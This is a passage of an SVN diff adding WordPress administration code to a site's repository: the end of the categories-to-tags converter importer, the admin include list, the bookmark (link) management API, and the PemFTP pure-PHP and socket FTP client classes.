+		$hybrid_cats = $clear_parents = $parents = false;
+		$clean_term_cache = $clean_cat_cache = array();
+		$default_cat = get_option('default_category');
+
+		echo '<ul>';
+
+		foreach ( (array) $this->categories_to_convert as $cat_id) {
+			$cat_id = (int) $cat_id;
+
+			if ( ! $this->_category_exists($cat_id) ) {
+				echo '<li>' . sprintf( __('Category %s doesn&#8217;t exist!'),  $cat_id ) . "</li>\n";
+			} else {
+				$category =& get_category($cat_id);
+				echo '<li>' . sprintf(__('Converting category <strong>%s</strong> ... '),  $category->name);
+
+				// If the category is the default, leave category in place and create tag.
+				if ( $default_cat == $category->term_id ) {
+
+					if ( ! ($id = is_term( $category->slug, 'post_tag' ) ) )
+						$id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug));
+
+					$id = $id['term_taxonomy_id'];
+					$posts = get_objects_in_term($category->term_id, 'category');
+					$term_order = 0;
+
+					foreach ( $posts as $post ) {
+						$values[] = $wpdb->prepare( "(%d, %d, %d)", $post, $id, $term_order);
+						clean_post_cache($post);
+					}
+
+					if ( $values ) {
+						$wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
+
+						$wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id) );
+					}
+
+					echo __('Converted successfully.') . "</li>\n";
+					continue;
+				}
+
+				// if tag already exists, add it to all posts in the category
+				if ( $tag_ttid = $wpdb->get_var( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id) ) ) {
+					$objects_ids = get_objects_in_term($category->term_id, 'category');
+					$tag_ttid = (int) $tag_ttid;
+					$term_order = 0;
+
+					foreach ( $objects_ids as $object_id )
+						$values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tag_ttid, $term_order);
+
+					if ( $values ) {
+						$wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
+
+						$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tag_ttid) );
+						$wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id) );
+					}
+					echo __('Tag added to all posts in this category.') . " *</li>\n";
+
+					$hybrid_cats = true;
+					$clean_term_cache[] = $category->term_id;
+					$clean_cat_cache[] = $category->term_id;
+
+					continue;
+				}
+
+				$tt_ids = $wpdb->get_col( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'category'", $category->term_id) );
+				if ( $tt_ids ) {
+					$posts = $wpdb->get_col("SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id");
+					foreach ( (array) $posts as $post )
+						clean_post_cache($post);
+				}
+
+				// Change the category to a tag.
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id) );
+
+				// Set all parents to 0 (root-level) if their parent was the converted tag
+				$parents = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id) );
+
+				if ( $parents ) $clear_parents = true;
+				$clean_cat_cache[] = $category->term_id;
+				echo __('Converted successfully.') . "</li>\n";
+			}
+		}
+		echo '</ul>';
+
+		if ( ! empty($clean_term_cache) ) {
+			$clean_term_cache = array_unique(array_values($clean_term_cache));
+			clean_term_cache($clean_term_cache, 'post_tag');
+		}
+
+		if ( ! empty($clean_cat_cache) ) {
+			$clean_cat_cache = array_unique(array_values($clean_cat_cache));
+			clean_term_cache($clean_cat_cache, 'category');
+		}
+
+		if ( $clear_parents ) delete_option('category_children');
+
+		if ( $hybrid_cats )
+			echo '<p>' . sprintf( __('* This category is also a tag. The converter has added that tag to all posts currently in the category. If you want to remove it, please confirm that all tags were added successfully, then delete it from the <a href="%s">Manage Categories</a> page.'), 'categories.php') . '</p>';
+		echo '<p>' . sprintf( __('We&#8217;re all done here, but you can always <a href="%s">convert more</a>.'), 'admin.php?import=wp-cat2tag' ) . '</p>';
+	}
+
+	function convert_tags() {
+		global $wpdb;
+
+		if ( (!isset($_POST['tags_to_convert']) || !is_array($_POST['tags_to_convert'])) && empty($this->tags_to_convert)) {
+			echo '<div class="narrow">';
+			echo '<p>' . sprintf(__('Uh, oh. Something didn&#8217;t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag&amp;step=3') . '</p>';
+			echo '</div>';
+			return;
+		}
+
+		if ( empty($this->tags_to_convert) )
+			$this->tags_to_convert = $_POST['tags_to_convert'];
+
+		$hybrid_tags = $clear_parents = false;
+		$clean_cat_cache = $clean_term_cache = array();
+		$default_cat = get_option('default_category');
+		echo '<ul>';
+
+		foreach ( (array) $this->tags_to_convert as $tag_id) {
+			$tag_id = (int) $tag_id;
+
+			if ( $tag = get_term( $tag_id, 'post_tag' ) ) {
+				printf('<li>' . __('Converting tag <strong>%s</strong> ... '),  $tag->name);
+
+				if ( $cat_ttid = $wpdb->get_var( $wpdb->prepare("SELECT term_taxonomy_id FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'category'", $tag->term_id) ) ) {
+					$objects_ids = get_objects_in_term($tag->term_id, 'post_tag');
+					$cat_ttid = (int) $cat_ttid;
+					$term_order = 0;
+
+					foreach ( $objects_ids as $object_id ) {
+						$values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $cat_ttid, $term_order);
+						clean_post_cache($object_id);
+					}
+
+					if ( $values ) {
+						$wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
+
+						if ( $default_cat != $tag->term_id ) {
+							$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tag->term_id) );
+							$wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET count = %d WHERE term_id = %d AND taxonomy = 'category'", $count, $tag->term_id) );
+						}
+					}
+
+					$hybrid_tags = true;
+					$clean_term_cache[] = $tag->term_id;
+					$clean_cat_cache[] = $tag->term_id;
+					echo __('All posts were added to the category with the same name.') . " *</li>\n";
+
+					continue;
+				}
+
+				// Change the tag to a category.
+				$parent = $wpdb->get_var( $wpdb->prepare("SELECT parent FROM $wpdb->term_taxonomy WHERE term_id = %d AND taxonomy = 'post_tag'", $tag->term_id) );
+				if ( 0 == $parent || (0 < (int) $parent && $this->_category_exists($parent)) ) {
+					$reset_parent = '';
+					$clear_parents = true;
+				} else
+					$reset_parent = ", parent = '0'";
+
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->term_taxonomy SET taxonomy = 'category' $reset_parent WHERE term_id = %d AND taxonomy = 'post_tag'", $tag->term_id) );
+
+				$clean_term_cache[] = $tag->term_id;
+				$clean_cat_cache[] = $cat['term_id'];
+				echo __('Converted successfully.') . "</li>\n";
+
+			} else {
+				printf( '<li>' . __('Tag #%s doesn&#8217;t exist!') . "</li>\n",  $tag_id );
+			}
+		}
+
+		if ( ! empty($clean_term_cache) ) {
+			$clean_term_cache = array_unique(array_values($clean_term_cache));
+			clean_term_cache($clean_term_cache, 'post_tag');
+		}
+
+		if ( ! empty($clean_cat_cache) ) {
+			$clean_cat_cache = array_unique(array_values($clean_cat_cache));
+			clean_term_cache($clean_term_cache, 'category');
+		}
+
+		if ( $clear_parents ) delete_option('category_children');
+
+		echo '</ul>';
+		if ( $hybrid_tags )
+			echo '<p>' . sprintf( __('* This tag is also a category. The converter has added all posts from it to the category. If you want to remove it, please confirm that all posts were added successfully, then delete it from the <a href="%s">Manage Tags</a> page.'), 'edit-tags.php') . '</p>';
+		echo '<p>' . sprintf( __('We&#8217;re all done here, but you can always <a href="%s">convert more</a>.'), 'admin.php?import=wp-cat2tag&amp;step=3' ) . '</p>';
+	}
+
+	function init() {
+
+		$step = (isset($_GET['step'])) ? (int) $_GET['step'] : 1;
+
+		$this->header();
+
+		if ( current_user_can('manage_categories') ) {
+
+			switch ($step) {
+				case 1 :
+					$this->categories_tab();
+				break;
+
+				case 2 :
+					check_admin_referer('import-cat2tag');
+					$this->convert_categories();
+				break;
+
+				case 3 :
+					$this->tags_tab();
+				break;
+
+				case 4 :
+					check_admin_referer('import-cat2tag');
+					$this->convert_tags();
+				break;
+			}
+		}
+
+		$this->footer();
+	}
+
+	function WP_Categories_to_Tags() {
+		// Do nothing.
+	}
+}
+
+$wp_cat2tag_importer = new WP_Categories_to_Tags();
+
+register_importer('wp-cat2tag', __('Categories and Tags Converter'), __('Convert existing categories to tags or tags to categories, selectively.'), array(&$wp_cat2tag_importer, 'init'));
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/admin.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Includes all of the WordPress Administration API files.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Bookmark Administration API */
+require_once(ABSPATH . 'wp-admin/includes/bookmark.php');
+
+/** WordPress Comment Administration API */
+require_once(ABSPATH . 'wp-admin/includes/comment.php');
+
+/** WordPress Administration File API */
+require_once(ABSPATH . 'wp-admin/includes/file.php');
+
+/** WordPress Image Administration API */
+require_once(ABSPATH . 'wp-admin/includes/image.php');
+
+/** WordPress Media Administration API */
+require_once(ABSPATH . 'wp-admin/includes/media.php');
+
+/** WordPress Import Administration API */
+require_once(ABSPATH . 'wp-admin/includes/import.php');
+
+/** WordPress Misc Administration API */
+require_once(ABSPATH . 'wp-admin/includes/misc.php');
+
+/** WordPress Plugin Administration API */
+require_once(ABSPATH . 'wp-admin/includes/plugin.php');
+
+/** WordPress Post Administration API */
+require_once(ABSPATH . 'wp-admin/includes/post.php');
+
+/** WordPress Taxonomy Administration API */
+require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');
+
+/** WordPress Template Administration API */
+require_once(ABSPATH . 'wp-admin/includes/template.php');
+
+/** WordPress Theme Administration API */
+require_once(ABSPATH . 'wp-admin/includes/theme.php');
+
+/** WordPress User Administration API */
+require_once(ABSPATH . 'wp-admin/includes/user.php');
+
+/** WordPress Update Administration API */
+require_once(ABSPATH . 'wp-admin/includes/update.php');
+
+/** WordPress Registration API */
+require_once(ABSPATH . WPINC . '/registration.php');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/bookmark.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/bookmark.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/bookmark.php	(revision 44)
@@ -0,0 +1,273 @@
+<?php
+/**
+ * WordPress Bookmark Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function add_link() {
+	return edit_link();
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ * @return unknown
+ */
+function edit_link( $link_id = '' ) {
+	if (!current_user_can( 'manage_links' ))
+		wp_die( __( 'Cheatin&#8217; uh?' ));
+
+	$_POST['link_url'] = esc_html( $_POST['link_url'] );
+	$_POST['link_url'] = esc_url($_POST['link_url']);
+	$_POST['link_name'] = esc_html( $_POST['link_name'] );
+	$_POST['link_image'] = esc_html( $_POST['link_image'] );
+	$_POST['link_rss'] = esc_url($_POST['link_rss']);
+	if ( !isset($_POST['link_visible']) || 'N' != $_POST['link_visible'] )
+		$_POST['link_visible'] = 'Y';
+
+	if ( !empty( $link_id ) ) {
+		$_POST['link_id'] = $link_id;
+		return wp_update_link( $_POST);
+	} else {
+		return wp_insert_link( $_POST);
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function get_default_link_to_edit() {
+	if ( isset( $_GET['linkurl'] ) )
+		$link->link_url = esc_url( $_GET['linkurl']);
+	else
+		$link->link_url = '';
+
+	if ( isset( $_GET['name'] ) )
+		$link->link_name = esc_attr( $_GET['name']);
+	else
+		$link->link_name = '';
+
+	$link->link_visible = 'Y';
+
+	return $link;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ * @return unknown
+ */
+function wp_delete_link( $link_id ) {
+	global $wpdb;
+
+	do_action( 'delete_link', $link_id );
+
+	wp_delete_object_term_relationships( $link_id, 'link_category' );
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->links WHERE link_id = %d", $link_id ) );
+
+	do_action( 'deleted_link', $link_id );
+
+	clean_bookmark_cache( $link_id );
+
+	return true;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ * @return unknown
+ */
+function wp_get_link_cats( $link_id = 0 ) {
+
+	$cats = wp_get_object_terms( $link_id, 'link_category', 'fields=ids' );
+
+	return array_unique( $cats );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ * @return unknown
+ */
+function get_link_to_edit( $link_id ) {
+	return get_bookmark( $link_id, OBJECT, 'edit' );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $linkdata
+ * @return unknown
+ */
+function wp_insert_link( $linkdata, $wp_error = false ) {
+	global $wpdb, $current_user;
+
+	$defaults = array( 'link_id' => 0, 'link_name' => '', 'link_url' => '', 'link_rating' => 0 );
+
+	$linkdata = wp_parse_args( $linkdata, $defaults );
+	$linkdata = sanitize_bookmark( $linkdata, 'db' );
+
+	extract( stripslashes_deep( $linkdata ), EXTR_SKIP );
+
+	$update = false;
+
+	if ( !empty( $link_id ) )
+		$update = true;
+
+	if ( trim( $link_name ) == '' ) {
+		if ( trim( $link_url ) != '' ) {
+			$link_name = $link_url;
+		} else {
+			return 0;
+		}
+	}
+
+	if ( trim( $link_url ) == '' )
+		return 0;
+
+	if ( empty( $link_rating ) )
+		$link_rating = 0;
+
+	if ( empty( $link_image ) )
+		$link_image = '';
+
+	if ( empty( $link_target ) )
+		$link_target = '';
+
+	if ( empty( $link_visible ) )
+		$link_visible = 'Y';
+
+	if ( empty( $link_owner ) )
+		$link_owner = $current_user->id;
+
+	if ( empty( $link_notes ) )
+		$link_notes = '';
+
+	if ( empty( $link_description ) )
+		$link_description = '';
+
+	if ( empty( $link_rss ) )
+		$link_rss = '';
+
+	if ( empty( $link_rel ) )
+		$link_rel = '';
+
+	// Make sure we set a valid category
+	if ( ! isset( $link_category ) ||0 == count( $link_category ) || !is_array( $link_category ) ) {
+		$link_category = array( get_option( 'default_link_category' ) );
+	}
+
+	if ( $update ) {
+		if ( false === $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_url = %s,
+			link_name = %s, link_image = %s, link_target = %s,
+			link_visible = %s, link_description = %s, link_rating = %s,
+			link_rel = %s, link_notes = %s, link_rss = %s
+			WHERE link_id = %s", $link_url, $link_name, $link_image, $link_target, $link_visible, $link_description, $link_rating, $link_rel, $link_notes, $link_rss, $link_id ) ) ) {
+			if ( $wp_error )
+				return new WP_Error( 'db_update_error', __( 'Could not update link in the database' ), $wpdb->last_error );
+			else
+				return 0;
+		}
+	} else {
+		if ( false === $wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->links (link_url, link_name, link_image, link_target, link_description, link_visible, link_owner, link_rating, link_rel, link_notes, link_rss) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)",
+		$link_url,$link_name, $link_image, $link_target, $link_description, $link_visible, $link_owner, $link_rating, $link_rel, $link_notes, $link_rss ) ) ) {
+			if ( $wp_error )
+				return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database' ), $wpdb->last_error );
+			else
+				return 0;
+		}
+		$link_id = (int) $wpdb->insert_id;
+	}
+
+	wp_set_link_cats( $link_id, $link_category );
+
+	if ( $update )
+		do_action( 'edit_link', $link_id );
+	else
+		do_action( 'add_link', $link_id );
+
+	clean_bookmark_cache( $link_id );
+
+	return $link_id;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $link_id
+ * @param unknown_type $link_categories
+ */
+function wp_set_link_cats( $link_id = 0, $link_categories = array() ) {
+	// If $link_categories isn't already an array, make it one:
+	if ( !is_array( $link_categories ) || 0 == count( $link_categories ) )
+		$link_categories = array( get_option( 'default_link_category' ) );
+
+	$link_categories = array_map( 'intval', $link_categories );
+	$link_categories = array_unique( $link_categories );
+
+	wp_set_object_terms( $link_id, $link_categories, 'link_category' );
+
+	clean_bookmark_cache( $link_id );
+}	// wp_set_link_cats()
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $linkdata
+ * @return unknown
+ */
+function wp_update_link( $linkdata ) {
+	$link_id = (int) $linkdata['link_id'];
+
+	$link = get_link( $link_id, ARRAY_A );
+
+	// Escape data pulled from DB.
+	$link = add_magic_quotes( $link );
+
+	// Passed link category list overwrites existing category list if not empty.
+	if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] )
+			 && 0 != count( $linkdata['link_category'] ) )
+		$link_cats = $linkdata['link_category'];
+	else
+		$link_cats = $link['link_category'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$linkdata = array_merge( $link, $linkdata );
+	$linkdata['link_category'] = $link_cats;
+
+	return wp_insert_link( $linkdata );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-pure.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-pure.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-pure.php	(revision 44)
@@ -0,0 +1,190 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL License http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * FTP implementation using fsockopen to connect.
+ *
+ * @package PemFTP
+ * @subpackage Pure
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL License http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp extends ftp_base {
+
+	function ftp($verb=FALSE, $le=FALSE) {
+		$this->__construct($verb, $le);
+	}
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(false, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@stream_set_timeout($sock, $this->_timeout)) {
+			$this->PushError('_settimeout','socket set send timeout');
+			$this->_quit();
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
+		if (!$sock) {
+			$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction, 'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@fgets($this->_ftp_control_sock, 512);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed');
+			} else {
+				$this->_message.=$tmp;
+				if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed');
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message));
+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
+			if(!$this->_ftp_data_sock) {
+				$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_data_sock;
+		} else {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		while (!feof($this->_ftp_data_sock)) {
+			$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return TRUE;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
+				$this->PushError("_data_write","Can't write to socket");
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@fclose($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit($force=FALSE) {
+		if($this->_connected or $force) {
+			@fclose($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-sockets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-sockets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-ftp-sockets.php	(revision 44)
@@ -0,0 +1,250 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL License http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Socket Based FTP implementation
+ *
+ * @package PemFTP
+ * @subpackage Socket
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL License http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp extends ftp_base {
+
+	function ftp($verb=FALSE, $le=FALSE) {
+		$this->__construct($verb, $le);
+	}
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(true, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		return true;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
+			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($sock)) return FALSE;
+		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
+		if (!($res = @socket_connect($sock, $host, $port))) {
+			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
+			} else {
+				$this->_message.=$tmp;
+				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		$this->SendMSG("Creating data socket");
+		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+		if ($this->_ftp_data_sock < 0) {
+			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($this->_ftp_data_sock)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", ereg_replace("^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*".CRLF."$", "\\1", $this->_message));
+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
+		} else {
+			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
+				$this->PushError("_data_prepare","can't get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_bind($this->_ftp_data_sock,$addr)){
